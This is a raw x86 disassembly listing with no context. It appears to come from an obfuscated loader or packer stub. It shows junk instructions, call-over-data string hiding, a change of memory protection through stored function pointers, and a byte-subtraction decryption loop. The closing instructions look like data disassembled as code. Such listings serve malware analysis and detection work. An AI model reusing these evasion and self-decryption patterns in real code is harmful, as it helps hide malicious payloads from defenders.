movsx ecx, byte [ebp + eax - 0x960]
or ecx, 0x20
cmp edx, ecx
jge 0x42db89
mov dword [ebp - 0xc6c], 0xffffffff
jmp 0x42db93
mov dword [ebp - 0xc6c], 1
cmp dword [ebp - 0xc6c], 0
jne 0x42dbaa
mov edx, dword [ebp - 0x190c]
mov dword [ebp - 0x4f0], edx
jmp 0x42dbbb
jmp 0x42d994
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [ebp - 0x4f0]
mov dword [ebp - 0xa58], ecx
push edx
push ecx
add esp, 4
jmp 0x42dbd2
xor edx, 0xa19c
pop edx
push ebx
xor ebx, 0x156ef
xor ebx, 0x6d7a
call 0x42dbf5
add byte [ecx + 0x4f], al
inc edi
dec edi
cmp esi, dword [edi]
cmp edi, dword [eax]
inc edx
add esp, 4
pop ebx
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x42dc6c
push ecx
xor ecx, 0x126d6
pop ecx
push eax
sub eax, 0x163d
call 0x42dc45
add byte [ebx], dh
dec edi
aas
xor al, 0x48
dec edx
cmp al, 0x4d
dec esi
dec edi
add esp, 4
call 0x42dc54
add byte [ebx], bh
dec esp
aas
dec ecx
dec edx
inc esp
add esp, 4
pop eax
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x42dc89
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x42dce5
push ebx
sub ebx, 0xf945
or ebx, 0x162ab
jmp 0x42dcaa
add ebx, 0x10556
pop ebx
push ebx
push edx
add esp, 4
xor ebx, 0x33f8
sub ebx, 0x73b7
or ebx, 0xf602
pop ebx
movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x42dc7a
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x42dd5d
push edx
sub edx, 0x23c5
pop edx
push esi
push edi
add esp, 4
add esi, 0x2b8
sub esi, 0x1435a
or esi, 0x1173e
and esi, 0xd721
pop esi
push ebx
push ebx
add esp, 4
xor ebx, 0x3164
pop ebx
mov ecx, dword [ebp - 0x738]
mov dword [ebp - 0x1920], ecx
push 0
call dword [ebp - 0x1920]
push edx
add edx, 0x15ac4
pop edx
push eax
xor eax, 0x4643
sub eax, 0x14b66
add eax, 0x168b3
pop eax
push eax
and eax, 0xd87a
or eax, 0xeb86
jmp 0x42dd8e
pop eax
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff05ff
pop ecx
push ebp
xchg ch, ch
add esi, ebx
add eax, 0xd4ed8605
add eax, 0x575d0505
push ebp
mov cl, cl
or dword [esi + 0x672daf7], eax
add eax, 0x885b575f
leave
or dword [esi + 0x5628fc7], eax
add eax, 0x88555c5f
leave
or dword [esi + 0x583a5ec], eax
add eax, 0x570bf64
add eax, 0x9a8e6b05
shr esi, 4
add al, 0xbd
push 5
add eax, 0x8a8e6b05
ret